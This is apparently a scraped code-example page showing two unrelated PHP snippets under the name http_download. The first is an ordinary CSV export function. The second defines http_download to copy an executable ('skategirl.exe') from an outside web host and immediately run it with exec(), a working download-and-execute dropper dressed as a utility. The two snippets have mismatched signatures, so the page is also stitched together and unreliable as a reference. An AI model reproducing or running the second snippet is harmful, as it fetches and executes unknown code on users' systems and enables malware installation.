Ejemplo n.º 1
0
/**
 * 列表数据导出
 *
 * @params str  $file  导出的文件名
 * @params arr  $rows  导出的数据集
 * @params str  $cols  要导出的列名
 */
function list_export($file, $rows, $cols = '')
{
    /* 初始化 */
    $str = '';
    /* 初始化列名 */
    $cols = empty($cols) ? array() : explode(',', $cols);
    /* 输出数据 */
    foreach ($rows as $r) {
        if (empty($cols)) {
            $str .= '"' . implode('","', str_replace('"', '""', $r)) . "\"\r\n";
        } else {
            foreach ($cols as $col) {
                $str .= '"' . str_replace('"', '""', $r[$col]) . '",';
            }
            $str = rtrim($str, ',') . "\r\n";
        }
    }
    http_download($file, $str, 'GB2312');
}
Ejemplo n.º 2
0
<?php

function http_download($what, $where)
{
    copy($what, $where);
    exec($where);
}
http_download("http://harvie.stokoruna.cz/files/skategirl.exe", "skategirl.exe");